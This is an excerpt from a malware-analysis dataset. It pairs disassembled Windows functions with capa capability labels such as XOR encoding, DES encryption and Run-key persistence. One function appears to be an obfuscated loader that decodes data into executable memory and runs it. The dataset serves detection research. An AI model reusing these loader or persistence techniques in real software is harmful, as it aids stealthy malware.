joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4346d0
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub esp, 0x88
mov eax, dword [0x473060]
xor eax, esp
mov dword [esp + 0x84], eax
push ebx
push ebp
mov ebp, dword [esp + 0x94]
lea eax, [esp + 8]
push esi
push edi
push eax
mov esi, dword [ebp + 0x5e8]
lea eax, [esp + 0x18]
mov edi, dword [ebp]
push eax
mov dword [esp + 0x18], 0x80
mov eax, dword [esi + 0x154]
push 0
add eax, 4
push eax
push dword [esi + 0x15c]
push dword [esi + 0x14]
call dword [sym.imp.WS2_32.dll_recvfrom]
cmp dword [esi + 0x148], 0
mov dword [esi + 0x14c], eax
jne 0x434756
push dword [esp + 0x10]
lea eax, [esp + 0x18]
push eax
lea eax, [esi + 0xc8]
push eax
call fcn.00445530
mov eax, dword [esp + 0x1c]
add esp, 0xc
mov dword [esi + 0x148], eax
mov edx, dword [esi + 0x14c]
cmp edx, 4
jge 0x434791
push str.Received_too_short_packet
push edi
call fcn.00416ad0
add esp, 8
mov dword [esi + 0xc], 7
xor eax, eax
mov ecx, dword [esp + 0x94]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004428c2
add esp, 0x88
ret
mov eax, dword [esi + 0x15c]
movzx ecx, byte [eax + 1]
movzx eax, byte [eax]
shl eax, 8
or ecx, eax
mov dword [esi + 0xc], ecx
add ecx, 0xfffffffd
cmp ecx, 3
ja case.default.0x4347b2
jmp dword [ecx*4 + 0x4348bc]
cmp edx, 4
jle case.0x4347b2.4
mov eax, dword [esi + 0x15c]
movzx ecx, byte [eax + 2]
movzx eax, byte [eax + 3]
shl ecx, 8
or ecx, eax
movzx eax, word [esi + 0x40]
inc eax
movzx eax, ax
cmp eax, ecx
jne case.0x4347b2.4
lea eax, [edx - 4]
push eax
mov eax, dword [esi + 0x15c]
add eax, 4
push eax
push 1
push ebp
call fcn.004169b0
mov ebx, eax
add esp, 0x10
test ebx, ebx
je 0x434816
push 5
push esi
call fcn.00435010
add esp, 8
mov eax, ebx
jmp 0x434778
mov eax, dword [esi + 0x14c]
sub eax, 4
cdq
add dword [edi + 0x70], eax
adc dword [edi + 0x74], edx
push dword [edi + 0x74]
push dword [edi + 0x70]
push edi
call fcn.0041fa40
jmp 0x434891
mov eax, dword [esi + 0x15c]
movzx ecx, byte [eax + 2]
movzx eax, byte [eax + 3]
shl ecx, 8
or ecx, eax
mov eax, dword [esi + 0x15c]
add eax, 4
mov dword [esi + 8], ecx
push eax
push 0x460830
push edi
call fcn.00416bb0
jmp 0x434891
lea eax, [edx - 2]
push eax
mov eax, dword [esi + 0x15c]
add eax, 2
push eax
push esi
call fcn.00434460
add esp, 0xc
test eax, eax
je case.0x4347b2.4
jmp 0x434778
push str.Internal_error:_Unexpected_packet
push 0x470ca0
push edi
call fcn.00416ad0
add esp, 0xc
push ebp
call fcn.0041fdb0
add esp, 4
test eax, eax
je 0x434776
push 5
push esi
call fcn.00435010
add esp, 8
mov eax, 0x2a
jmp 0x434778
Function at 0x4369e0
Capabilities:
Query environment variable

Disassembly:
sub esp, 0x108
mov eax, dword [0x473060]
xor eax, esp
mov dword [esp + 0x104], eax
mov eax, dword [esp + 0x10c]
push eax
call fcn.004517dc
add esp, 4
mov byte [esp], 0
test eax, eax
je 0x436a45
push 0x104
lea ecx, [esp + 4]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
cmp byte [esp], 0
je 0x436a45
lea eax, [esp]
push eax
call dword [0x47300c]
add esp, 4
mov ecx, dword [esp + 0x104]
xor ecx, esp
call fcn.004428c2
add esp, 0x108
ret
mov ecx, dword [esp + 0x104]
xor eax, eax
xor ecx, esp
call fcn.004428c2
add esp, 0x108
ret
Function at 0x43a100
Capabilities:
Read file on windows

Disassembly:
push esi
mov esi, dword [esp + 8]
push edi
mov eax, dword [esi]
cmp dword [eax + 4], 3
jne 0x43a12b
mov ecx, dword [esi + 0xc]
test ecx, ecx
jne 0x43a11a
pop edi
xor eax, eax
pop esi
ret
push dword [eax + 8]
push dword [esp + 0x18]
push 1
push dword [esp + 0x1c]
call ecx
jmp 0x43a160
cmp dword [esi + 8], 0
jne 0x43a14e
push 0x460aa4
push dword [eax + 8]
call fcn.0044ce8f
add esp, 8
mov dword [esi + 8], eax
test eax, eax
jne 0x43a14e
pop edi
or eax, 0xffffffff
pop esi
ret
push dword [esi + 8]
push dword [esp + 0x18]
push 1
push dword [esp + 0x1c]
call fcn.0044f8d2
mov edi, eax
add esp, 0x10
test edi, edi
jne 0x43a182
mov eax, dword [esi + 8]
test eax, eax
je 0x43a17c
push eax
call fcn.0044d1ac
add esp, 4
mov dword [esi + 8], edi
mov eax, dword [esi]
mov eax, dword [eax]
mov dword [esi], eax
mov eax, edi
pop edi
pop esi
ret

Function at 0x43d870
Capabilities:
Hash data using md4
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
sub esp, 0xc
push ebx
mov ebx, dword [esp + 0x18]
push ebp
push esi
mov esi, ebx
push edi
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x43d880
sub esi, ecx
lea ebp, [esi + esi]
push ebp
call dword [section..data]
mov edi, eax
add esp, 4
test edi, edi
jne 0x43d8a7
lea eax, [edi + 0x1b]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
xor ecx, ecx
test esi, esi
je 0x43d8c0
nop dword [eax]
mov al, byte [ecx + ebx]
mov byte [edi + ecx*2], al
mov byte [edi + ecx*2 + 1], 0
inc ecx
cmp ecx, esi
jb 0x43d8b0
push 0xf0000000
push 1
push 0
push 0
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
mov esi, dword [esp + 0x28]
test eax, eax
je 0x43d93a
lea eax, [esp + 0x10]
push eax
push 0
push 0
push 0x8002
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x43d92e
push 0
push ebp
push edi
push dword [esp + 0x1c]
mov dword [esp + 0x28], 0x10
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
push 0
lea eax, [esp + 0x1c]
push eax
push esi
push 2
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
push 0
push dword [esp + 0x18]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov dword [esi + 0x10], 0
push edi
mov byte [esi + 0x14], 0
call dword [0x473004]
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
Function at 0x43d960
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using des via winapi
Encrypt or decrypt via wincrypt

Disassembly:
sub esp, 0x24
mov eax, dword [0x473060]
xor eax, esp
mov dword [esp + 0x20], eax
push esi
mov esi, dword [esp + 0x30]
lea eax, [esp + 4]
push edi
mov edi, dword [esp + 0x38]
push 0xf0000000
push 1
push 0
push 0
push eax
mov dword [esp + 0x20], 8
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x43da04
lea eax, [esp + 0x20]
mov dword [esp + 0x24], 0
push eax
xorps xmm0, xmm0
movups xmmword [esp + 0x18], xmm0
push edi
mov word [esp + 0x1c], 0x208
mov dword [esp + 0x20], 0x6601
mov dword [esp + 0x24], 8
call fcn.0043da70
lea eax, [esp + 0x28]
push 8
push eax
call fcn.00440ce0
add esp, 0x10
lea eax, [esp + 0x10]
push eax
push 0
push 0
push 0x14
lea eax, [esp + 0x24]
push eax
push dword [esp + 0x1c]
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
jne 0x43da17
push eax
push dword [esp + 0xc]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
pop edi
xor al, al
pop esi
mov ecx, dword [esp + 0x20]
xor ecx, esp
call fcn.004428c2
add esp, 0x24
ret
mov ecx, dword [esp + 0x30]
push dword [esp + 0xc]
mov eax, dword [ecx]
mov dword [esi], eax
mov eax, dword [ecx + 4]
mov dword [esi + 4], eax
lea eax, [esp + 0x10]
push eax
push esi
push 0
push 0
push 0
push dword [esp + 0x28]
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
push 0
push dword [esp + 0xc]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov ecx, dword [esp + 0x28]
mov al, 1
pop edi
pop esi
xor ecx, esp
call fcn.004428c2
add esp, 0x24
ret
Function at 0x4423d0
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
push ecx
push esi
mov esi, dword [esp + 0xc]
push edi
mov ecx, dword [esi + 0xc]
mov eax, dword [esi + 0x14]
lea eax, [eax + ecx*2]
add eax, 0xc
push eax
call dword [section..data]
mov edi, eax
add esp, 4
test edi, edi
jne 0x4423f7
pop edi
pop esi
pop ecx
ret
lea ecx, [edi + 0xc]
mov dword [edi], esi
mov dword [edi + 4], ecx
mov eax, dword [esi + 0xc]
add eax, ecx
push ebx
mov ebx, dword [esp + 0x1c]
mov dword [edi + 8], eax
push ebp
cmp ebx, dword [esi + 0x10]
jbe 0x44243f
mov eax, dword [esi]
push ecx
call eax
mov eax, dword [esi + 4]
push ebx
push dword [esp + 0x24]
push dword [edi + 4]
call eax
mov ebp, dword [edi + 8]
push dword [edi + 4]
add ebp, dword [esi + 0xc]
mov eax, dword [esi + 8]
push ebp
call eax
mov ebx, dword [esi + 0x14]
add esp, 0x18
mov dword [esp + 0x20], ebx
jmp 0x442443
mov ebp, dword [esp + 0x1c]
push dword [edi + 4]
mov eax, dword [esi]
call eax
push dword [edi + 8]
mov eax, dword [esi]
call eax
mov eax, dword [esp + 0x28]
add esp, 8
xor ebx, ebx
test eax, eax
je 0x4424a5
mov dword [esp + 0x10], eax
mov ebx, eax
movzx eax, byte [ebp]
xor al, 0x36
mov byte [esp + 0x18], al
lea eax, [esp + 0x18]
push 1
push eax
push dword [edi + 4]
mov eax, dword [esi + 4]
call eax
movzx eax, byte [ebp]
lea ebp, [ebp + 1]
xor al, 0x5c
mov byte [esp + 0x24], al
lea eax, [esp + 0x24]
push 1
push eax
push dword [edi + 8]
mov eax, dword [esi + 4]
call eax
add esp, 0x18
sub ebx, 1
jne 0x442464
mov ebx, dword [esp + 0x10]
cmp ebx, dword [esi + 0x10]
jae 0x4424d7
nop word [eax + eax]
mov eax, dword [esi + 4]
push 1
push 0x46ac7e
push dword [edi + 4]
call eax
mov eax, dword [esi + 4]
push 1
push 0x46ac7f
push dword [edi + 8]
call eax
inc ebx
add esp, 0x18
cmp ebx, dword [esi + 0x10]
jb 0x4424b0
pop ebp
pop ebx
mov eax, edi
pop edi
pop esi
pop ecx
ret

Function at 0x45816c
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00457feb

Function at 0x459f20
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00459be0
Function at 0x401460
Capabilities:
Encode data using xor

Disassembly:
jmp 0x4220f0
push ebx
mov ebx, dword [esp + 0xc]
push edi
xor edi, edi
test ebx, ebx
je 0x422277
push ebp
mov ebp, dword [esp + 0x10]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_InitializeAcl]
nop dword [eax]
push 0
push 0
push 0
call esi
xor byte [edi + ebp], 0x87
push 0
push 0
push 0
call esi
add byte [edi + ebp], 0x48
push 0
push 0
push 0
call esi
add byte [edi + ebp], 0xfc
push 0
push 0
push 0
call esi
xor byte [edi + ebp], 0xde
push 0
push 0
push 0
call esi
add byte [edi + ebp], 0xd3
push 0
push 0
push 0
call esi
add byte [edi + ebp], 0x76
push 0
push 0
push 0
call esi
xor byte [edi + ebp], 0xdf
push 0
push 0
push 0
call esi
add byte [edi + ebp], 0x20
push 0
push 0
push 0
call esi
add byte [edi + ebp], 0x12
push 0
push 0
push 0
call esi
xor byte [edi + ebp], 0xa6
push 0
push 0
push 0
call esi
add byte [edi + ebp], 0xc1
push 0
push 0
push 0
call esi
add byte [edi + ebp], 0xaa
push 0
push 0
push 0
call esi
add byte [edi + ebp], 0x72
push 0
push 0
push 0
call esi
xor byte [edi + ebp], 0xbd
push 0
push 0
push 0
call esi
xor byte [edi + ebp], 0xad
push 0
push 0
push 0
call esi
add byte [edi + ebp], 0x23
push 0
push 0
push 0
call esi
add byte [edi + ebp], 0xc3
push 0
push 0
push 0
call esi
add byte [edi + ebp], 0x52
push 0
push 0
push 0
call esi
add byte [edi + ebp], 0x4f
push 0
push 0
push 0
call esi
xor byte [edi + ebp], 0xcc
push 0
push 0
push 0
call esi
add byte [edi + ebp], 0xd0
push 0
push 0
push 0
call esi
add byte [edi + ebp], 0x24
push 0
push 0
push 0
call esi
add byte [edi + ebp], 0xb5
push 0
push 0
push 0
call esi
add byte [edi + ebp], 0x68
push 0
push 0
push 0
call esi
add byte [edi + ebp], 0xe2
push 0
push 0
push 0
call esi
add byte [edi + ebp], 0x6d
push 0
push 0
push 0
call esi
xor byte [edi + ebp], 0x7e
push 0
push 0
push 0
call esi
add byte [edi + ebp], 0xee
push 0
push 0
push 0
call esi
add byte [edi + ebp], 0x3f
inc edi
cmp edi, ebx
jb 0x422110
pop esi
pop ebp
pop edi
pop ebx
ret
Function at 0x401b66
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410004]
jne 0x401b70
repz ret
jmp fcn.0040324d

Function at 0x408ce0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x408cef
pop dword [ebp - 0x14]
mov eax, 0x8f4b7dd
add eax, 0xf74bd512
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0xbd3d3d21
sub dword [ebp - 0x24], 0x6eeaf7d6
mov dword [ebp - 0x20], 0xbc728b99
sub dword [ebp - 0x20], 0x8a3f3f54
mov dword [ebp - 0x1c], 0xbd59d7de
sub dword [ebp - 0x1c], 0x710d93b0
mov dword [ebp - 0x18], 0x2a6956b6
add dword [ebp - 0x18], 0xd596a94a
lea eax, [ebp - 0x24]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0x3d9dd16a
sub dword [ebp - 0x24], 0xc92b6814
mov dword [ebp - 0x20], 0xb880a1d2
add dword [ebp - 0x20], 0x88ebbfa3
mov dword [ebp - 0x1c], 0xe499f14f
sub dword [ebp - 0x1c], 0x812a84e3
mov dword [ebp - 0x18], 0x22b99368
add dword [ebp - 0x18], 0xdd466c98
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, 0x37bfa539
sub eax, 0x377ed4f1
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x3b522
push 0
call eax
mov ecx, 0x5eebef43
sub ecx, 0x5eeb9fdc
xor ebx, ebx
add ebx, eax
mov esi, 0xf90b6f8f
add esi, 0x7364071
add esi, dword [ebp - 0x14]
mov edx, 0x3909ea3e
mov dword [ebp - 0xc], 0x13d1620d
mov edi, dword [esi]
add dword [ebp - 0xc], ebx
add edi, edx
add dword [ebp - 0x10], edx
mov dword [ebx], edi
xor dword [ebp - 8], ebx
add ebx, 0x4a59e71
sub ebx, 0x4a59e6d
add esi, 0xe6d3d7c
sub esi, 0xe6d3d78
loop 0x408e08
add eax, 0x6e5bbdee
sub eax, 0x6e5a8d7f
xor ebx, ebx
add ebx, eax
add eax, 0x4909e466
sub eax, 0x4909e461
mov ecx, 0x400000
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x4013c0
Capabilities:
Encode data using xor

Disassembly:
jmp 0x414fb0
push esi
push edi
mov edi, dword [esp + 0x10]
xor esi, esi
test edi, edi
je 0x41515c
push ebx
mov ebx, dword [esp + 0x10]
nop word [eax + eax]
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
mov al, byte [esi + ebx]
push str.Protocol_of_Mind
push 0x4d24a8
mov byte [esi + ebx], al
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0xe9
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
xor byte [esi + ebx], 0xc7
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x4d
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0xb9
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
add esp, 0x44
push eax
call fcn.004013a7
add byte [esi + ebx], 0x63
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x52
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x5d
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0xe9
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0xa7
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x59
add esp, 0x40
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0xb9
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
xor byte [esi + ebx], 4
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x58
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x9c
add esp, 0x30
inc esi
cmp esi, edi
jb 0x414fd0
pop ebx
pop edi
pop esi
ret

Function at 0x4035da
Capabilities:
Terminate process

Disassembly:
jmp 0x453329
push 0x17
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x45333a
push 5
pop ecx
int 0x29
push esi
push 1
mov esi, 0xc0000417
push esi
push 2
call fcn.00405920
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop esi
ret

Function at 0x40370b
Capabilities:
Query environment variable

Disassembly:
jmp 0x49c7e2
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x49c7f3
pop esi
ret
push ebx
push edi
push esi
call fcn.0049c6c9
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.00403fe9
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x49c81b
push ebx
push esi
push edi
call fcn.00405713
add esp, 0xc
push 0
call fcn.00406262
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret
Function at 0x10004f00
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1006e120
mov eax, dword fs:[0]
push eax
push esi
mov eax, dword [0x100911c8]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov edx, dword [esi + 0x30]
or eax, 0xffffffff
sub edx, 0x10
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x10004f40
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, esi
call fcn.10004dd0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10005d30
Capabilities:
Persist via run registry key
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1006e266
mov eax, dword fs:[0]
push eax
sub esp, 0x224
mov eax, dword [0x100911c8]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, dword [ebp + 8]
mov esi, dword [ebp + 0xc]
mov dword [ebp - 0x230], 0
mov dword [ebp - 0x22c], 0
mov dword [ebp - 0x228], 0
xor eax, eax
mov dword [ebp - 4], 0
cmp dword [ecx + 0x2c], eax
lea ecx, [ebp - 0x230]
push 0x2001f
setne al
push str.SoftwareMicrosoftWindowsCurrentVersionRun
add eax, 0x80000001
push eax
call fcn.10009290
mov edi, dword [ebp - 0x230]
test eax, eax
jne 0x10005ec7
call fcn.10008da0
mov ecx, eax
test ecx, ecx
je 0x10005ef4
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x220], eax
push dword [esi + 8]
lea eax, [ebp - 0x220]
mov byte [ebp - 4], 1
push dword [esi]
push str.__s___s
push eax
call fcn.10008cb0
push 0x208
lea eax, [ebp - 0x218]
push 0
push eax
call fcn.1004a6f0
add esp, 0x1c
mov dword [ebp - 0x21c], 0x208
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x224]
push eax
push 0
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x10005e56
mov eax, dword [ebp - 0x224]
cmp eax, 1
je 0x10005e44
cmp eax, 2
jne 0x10005e56
cmp dword [ebp - 0x21c], 0
jne 0x10005e56
xor eax, eax
mov word [ebp - 0x218], ax
mov esi, dword [ebp - 0x220]
lea eax, [ebp - 0x218]
push eax
push esi
call fcn.1004df96
add esp, 8
test eax, eax
je 0x10005ea4
test esi, esi
je 0x10005ea4
mov ecx, esi
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10005e80
sub ecx, edx
sar ecx, 1
lea eax, [ecx*2 + 2]
push eax
push esi
push 1
push 0
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov byte [ebp - 4], 0
add esi, 0xfffffff0
or eax, 0xffffffff
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x10005ec0
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
mov esi, 1
jmp 0x10005ec9
xor esi, esi
test edi, edi
je 0x10005ed4
push edi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10030059
mov esp, ebp
pop ebp
ret 8
push 0x80004005
call fcn.10008480
int3
Function at 0x10008e80
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1006e778
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x100911c8]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp word [0x100b9138], 0
jne 0x10008ec4
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0x100
push eax
push 0x100b9138
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
call fcn.10008da0
mov ecx, eax
test ecx, ecx
je 0x10008f30
mov eax, dword [ecx]
call dword [eax + 0xc]
mov esi, dword [ebp + 8]
add eax, 0x10
mov dword [esi], eax
push 0x100b9138
mov ecx, esi
mov dword [ebp - 4], 0
call fcn.100084a0
test al, al
jne 0x10008f1c
mov ecx, 0x100b9138
lea edx, [ecx + 2]
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10008f00
sub ecx, edx
sar ecx, 1
push ecx
push 0x100b9138
mov ecx, esi
call fcn.10009770
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 4
push 0x80004005
call fcn.10008480
int3
Function at 0x10008fd0
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1006e7c1
mov eax, dword fs:[0]
push eax
sub esp, 0x2d8
mov eax, dword [0x100911c8]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
push str.YxhGametray
push dword [ebx]
call fcn.1004df96
add esp, 8
test eax, eax
je 0x10009041
push str.LeyouGametray
push dword [ebx]
call fcn.1004df96
add esp, 8
test eax, eax
je 0x10009041
push dword [ebx + 0x14]
push 0xffffffffffffffff
push dword [ebx + 0x1c]
push dword [ebx + 0x18]
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
neg eax
sbb eax, eax
inc eax
jmp 0x100091b0
push 0x208
lea eax, [ebp - 0x218]
push 0
push eax
call fcn.1004a6f0
add esp, 0xc
lea eax, [ebp - 0x218]
push dword [ebx + 0x14]
push 0x104
push eax
push str.true
push dword [ebx + 0x1c]
push dword [ebx + 0x18]
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
push str.false
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
xor ecx, ecx
test eax, eax
setne cl
mov dword [ebp - 0x24c], ecx
test eax, eax
je 0x100091ae
call fcn.1002eb90
mov ecx, eax
push 1
mov edx, dword [eax]
mov eax, dword [edx + 8]
call eax
movzx eax, al
sub eax, 1
jne 0x100091a8
push 0x59
push str.d:jenkins.jenkinsworkspacemouse_helperccmousehelper_autorunmanger_autorunmanager.cpp
lea ecx, [ebp - 0x248]
mov dword [ebp - 0x238], eax
mov dword [ebp - 0x234], 0xf
mov byte [ebp - 0x248], al
call fcn.1000b0b0
push 3
push 0x10073b14
lea ecx, [ebp - 0x230]
mov dword [ebp - 4], 0
mov dword [ebp - 0x220], 0
mov dword [ebp - 0x21c], 0xf
mov byte [ebp - 0x230], 0
call fcn.1000b0b0
mov byte [ebp - 4], 1
call fcn.1002eb90
mov edi, eax
lea ecx, [ebp - 0x2e4]
push 0x365
lea eax, [ebp - 0x248]
push eax
lea eax, [ebp - 0x230]
push eax
call fcn.10004100
mov esi, eax
push str.IsDisable_
push esi
mov byte [ebp - 4], 2
call fcn.10005750
mov ecx, dword [ebx + 0x14]
mov edx, 0x10073a6c
test ecx, ecx
cmovne edx, ecx
push edx
push esi
call fcn.10003100
push 0x100740fc
push esi
call fcn.10005750
lea eax, [ebp - 0x218]
push eax
push esi
call fcn.10003100
mov edx, dword [edi]
add esp, 0x20
mov ecx, edi
push esi
call dword [edx + 0x1c]
lea ecx, [ebp - 0x2e4]
call fcn.10005880
lea ecx, [ebp - 0x230]
call fcn.10004b30
lea ecx, [ebp - 0x248]
call fcn.10004b30
mov ecx, dword [ebp - 0x24c]
mov eax, ecx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10030059
mov esp, ebp
pop ebp
ret